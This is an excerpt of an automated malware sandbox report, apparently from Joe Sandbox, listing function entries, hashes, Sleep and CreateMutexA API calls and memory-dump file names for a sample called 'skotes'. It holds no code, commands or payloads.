Associated: 00000006.00000002.2337806994.00000000011D0000.00000080.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ec0000_skotes.jbxd

Yara matches

Similarity

API ID: ExitProcess
String ID:
API String ID: 621844428-0
Opcode ID: 6bbf38e52d04b4ccd16521a4db31cd23d998ebbc4eb307fcd21d6df2765be668
Instruction ID: 32237d5d4503f2ae50947b8c34956fb25a20a150393887cf835a0c8bc7d681aa
Opcode Fuzzy Hash: 6bbf38e52d04b4ccd16521a4db31cd23d998ebbc4eb307fcd21d6df2765be668
Instruction Fuzzy Hash: 29E0863014110C6FCF257B58D81DDAD3B99EF5174DF046C14FA1966522CB35DD81C640

Function 00EC9BA5 Relevance: 3.1, APIs: 2, Instructions: 140
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 00ECA963
CreateMutexA.KERNELBASE(00000000,00000000,00F23254), ref: 00ECA981

Memory Dump Source

Source File: 00000006.00000002.2335074670.0000000000EC1000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000006.00000002.2335035027.0000000000EC0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2335074670.0000000000F22000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2335193269.0000000000F29000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2335231202.0000000000F2B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2335269952.0000000000F37000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2335455174.0000000001088000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2335589622.000000000108A000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2335635478.00000000010A1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2335678079.00000000010A4000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2335716041.00000000010A5000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2335716041.00000000010AD000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2335798300.00000000010B5000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2335837054.00000000010B6000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2335885809.00000000010B7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2335928297.00000000010B8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2335973271.00000000010C8000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2336030002.00000000010C9000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2336118096.00000000010DB000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2336162258.00000000010DD000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2336206297.00000000010DE000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2336246713.00000000010DF000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2336275470.00000000010E7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2336316817.00000000010F1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2336379108.0000000001107000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2336421783.0000000001108000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2336469114.0000000001109000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2336515089.000000000110E000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2336543688.0000000001115000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2336584331.0000000001116000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2336625184.0000000001117000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2336666700.0000000001118000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2336706962.0000000001119000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2336750064.0000000001120000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2336790934.0000000001121000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2336830261.0000000001124000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2336878176.000000000112F000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2336920324.0000000001131000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2336961173.0000000001132000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2337003562.0000000001139000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2337043898.0000000001140000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2337090035.0000000001142000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2337131693.0000000001143000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2337174688.000000000114B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2337238018.000000000115E000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2337279038.000000000115F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2337320514.000000000116C000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2337364176.000000000116E000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2337364176.000000000118D000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2337457213.00000000011A3000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2337497960.00000000011A5000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2337539739.00000000011B9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2337581829.00000000011BA000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2337621118.00000000011BB000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2337664553.00000000011BF000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2337703515.00000000011C1000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2337764369.00000000011CF000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2337806994.00000000011D0000.00000080.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ec0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 22aad52a0a5922943bd8e777803adbff02b7197570a24e09dd8c8a2cb1ffd270
Instruction ID: 13e238ff7c96edb304592ee22be33f1f8e8a336f545ec562d4d30a8bf3963360
Opcode Fuzzy Hash: 22aad52a0a5922943bd8e777803adbff02b7197570a24e09dd8c8a2cb1ffd270
Instruction Fuzzy Hash: 82312971704204DBEB089B68EE8DF9DBBA2EBC2314F24525DE014B73D6C77689828651

Function 00EC9F44 Relevance: 3.1, APIs: 2, Instructions: 137
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 00ECA963
CreateMutexA.KERNELBASE(00000000,00000000,00F23254), ref: 00ECA981

Memory Dump Source

Source File: 00000006.00000002.2335074670.0000000000EC1000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000006.00000002.2335035027.0000000000EC0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2335074670.0000000000F22000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2335193269.0000000000F29000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2335231202.0000000000F2B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2335269952.0000000000F37000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2335455174.0000000001088000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2335589622.000000000108A000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2335635478.00000000010A1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2335678079.00000000010A4000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2335716041.00000000010A5000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2335716041.00000000010AD000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2335798300.00000000010B5000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2335837054.00000000010B6000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2335885809.00000000010B7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2335928297.00000000010B8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2335973271.00000000010C8000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2336030002.00000000010C9000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2336118096.00000000010DB000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2336162258.00000000010DD000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2336206297.00000000010DE000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2336246713.00000000010DF000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2336275470.00000000010E7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2336316817.00000000010F1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2336379108.0000000001107000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2336421783.0000000001108000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2336469114.0000000001109000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2336515089.000000000110E000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2336543688.0000000001115000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2336584331.0000000001116000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2336625184.0000000001117000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2336666700.0000000001118000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2336706962.0000000001119000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2336750064.0000000001120000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2336790934.0000000001121000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2336830261.0000000001124000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2336878176.000000000112F000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2336920324.0000000001131000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2336961173.0000000001132000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2337003562.0000000001139000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2337043898.0000000001140000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2337090035.0000000001142000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2337131693.0000000001143000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2337174688.000000000114B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2337238018.000000000115E000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2337279038.000000000115F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2337320514.000000000116C000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2337364176.000000000116E000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2337364176.000000000118D000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2337457213.00000000011A3000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2337497960.00000000011A5000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2337539739.00000000011B9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2337581829.00000000011BA000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2337621118.00000000011BB000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2337664553.00000000011BF000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2337703515.00000000011C1000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2337764369.00000000011CF000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2337806994.00000000011D0000.00000080.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ec0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 9ee05cb6893f21fcf4c66eb663c2033280b2b3ef04a03fc9a1a7898e3ba8c746
Instruction ID: 80957ee48319e544f589b1b09b59522f09ef4620c0893c50a4204a5124c959cd
Opcode Fuzzy Hash: 9ee05cb6893f21fcf4c66eb663c2033280b2b3ef04a03fc9a1a7898e3ba8c746
Instruction Fuzzy Hash: EB313B71704148CBEB189B68EE9DBACB7A2EBC6314F24525DE014F73D1C73789828751

Function 00ECA079 Relevance: 3.1, APIs: 2, Instructions: 136
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 00ECA963
CreateMutexA.KERNELBASE(00000000,00000000,00F23254), ref: 00ECA981

Memory Dump Source

Source File: 00000006.00000002.2335074670.0000000000EC1000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000006.00000002.2335035027.0000000000EC0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2335074670.0000000000F22000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2335193269.0000000000F29000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2335231202.0000000000F2B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2335269952.0000000000F37000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2335455174.0000000001088000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2335589622.000000000108A000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2335635478.00000000010A1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2335678079.00000000010A4000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2335716041.00000000010A5000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2335716041.00000000010AD000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2335798300.00000000010B5000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2335837054.00000000010B6000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2335885809.00000000010B7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2335928297.00000000010B8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2335973271.00000000010C8000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2336030002.00000000010C9000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2336118096.00000000010DB000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2336162258.00000000010DD000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2336206297.00000000010DE000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2336246713.00000000010DF000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2336275470.00000000010E7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2336316817.00000000010F1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2336379108.0000000001107000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2336421783.0000000001108000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2336469114.0000000001109000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2336515089.000000000110E000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2336543688.0000000001115000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2336584331.0000000001116000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2336625184.0000000001117000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2336666700.0000000001118000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2336706962.0000000001119000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2336750064.0000000001120000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2336790934.0000000001121000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2336830261.0000000001124000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2336878176.000000000112F000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2336920324.0000000001131000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2336961173.0000000001132000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2337003562.0000000001139000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2337043898.0000000001140000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2337090035.0000000001142000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2337131693.0000000001143000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2337174688.000000000114B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2337238018.000000000115E000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2337279038.000000000115F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2337320514.000000000116C000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2337364176.000000000116E000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2337364176.000000000118D000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2337457213.00000000011A3000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2337497960.00000000011A5000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2337539739.00000000011B9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2337581829.00000000011BA000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2337621118.00000000011BB000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2337664553.00000000011BF000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2337703515.00000000011C1000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2337764369.00000000011CF000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2337806994.00000000011D0000.00000080.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ec0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 2b52bbda6258ab03b22fe435f416244bdbdc13bc13dbae1e4da60152deee4a00
Instruction ID: 4a79c78f2838b37e16bf6d37e84cd55d7157f5206602ebc7d2eebd5a750d613b
Opcode Fuzzy Hash: 2b52bbda6258ab03b22fe435f416244bdbdc13bc13dbae1e4da60152deee4a00
Instruction Fuzzy Hash: DC313971704108DBEB189B78EE89F9DBB72DBC2318F28526DE014B73D1C73799828652

Function 00ECA1AE Relevance: 3.1, APIs: 2, Instructions: 135
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 00ECA963
CreateMutexA.KERNELBASE(00000000,00000000,00F23254), ref: 00ECA981

Memory Dump Source

Source File: 00000006.00000002.2335074670.0000000000EC1000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000006.00000002.2335035027.0000000000EC0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2335074670.0000000000F22000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2335193269.0000000000F29000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2335231202.0000000000F2B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2335269952.0000000000F37000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2335455174.0000000001088000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2335589622.000000000108A000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2335635478.00000000010A1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2335678079.00000000010A4000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2335716041.00000000010A5000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2335716041.00000000010AD000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2335798300.00000000010B5000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2335837054.00000000010B6000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2335885809.00000000010B7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2335928297.00000000010B8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2335973271.00000000010C8000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2336030002.00000000010C9000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2336118096.00000000010DB000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2336162258.00000000010DD000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2336206297.00000000010DE000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2336246713.00000000010DF000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2336275470.00000000010E7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2336316817.00000000010F1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2336379108.0000000001107000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2336421783.0000000001108000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2336469114.0000000001109000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2336515089.000000000110E000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2336543688.0000000001115000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2336584331.0000000001116000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2336625184.0000000001117000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2336666700.0000000001118000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2336706962.0000000001119000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2336750064.0000000001120000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2336790934.0000000001121000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2336830261.0000000001124000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2336878176.000000000112F000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2336920324.0000000001131000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2336961173.0000000001132000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2337003562.0000000001139000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2337043898.0000000001140000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2337090035.0000000001142000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2337131693.0000000001143000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2337174688.000000000114B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2337238018.000000000115E000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2337279038.000000000115F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2337320514.000000000116C000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2337364176.000000000116E000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2337364176.000000000118D000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2337457213.00000000011A3000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2337497960.00000000011A5000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2337539739.00000000011B9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2337581829.00000000011BA000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2337621118.00000000011BB000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2337664553.00000000011BF000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2337703515.00000000011C1000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2337764369.00000000011CF000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2337806994.00000000011D0000.00000080.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ec0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 2930858bb226df5afe2be5268879964dd5f370c3ae2ba55238247b622c9d4f2e
Instruction ID: fa50ae60751356ba7cd9c9f890b6a46f7652876e0f036c246f24f0bd1df5151d
Opcode Fuzzy Hash: 2930858bb226df5afe2be5268879964dd5f370c3ae2ba55238247b622c9d4f2e
Instruction Fuzzy Hash: FB312C71705108DBEB189B6CEE8DFADB762DBC6318F28526DE014B73D1C73789828652

Function 00ECA418 Relevance: 3.1, APIs: 2, Instructions: 133
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 00ECA963
CreateMutexA.KERNELBASE(00000000,00000000,00F23254), ref: 00ECA981

Memory Dump Source

Source File: 00000006.00000002.2335074670.0000000000EC1000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000006.00000002.2335035027.0000000000EC0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2335074670.0000000000F22000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2335193269.0000000000F29000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2335231202.0000000000F2B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2335269952.0000000000F37000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2335455174.0000000001088000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2335589622.000000000108A000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2335635478.00000000010A1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2335678079.00000000010A4000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2335716041.00000000010A5000.00000040.00000001.01000000.0000000A.sdmpDownload File
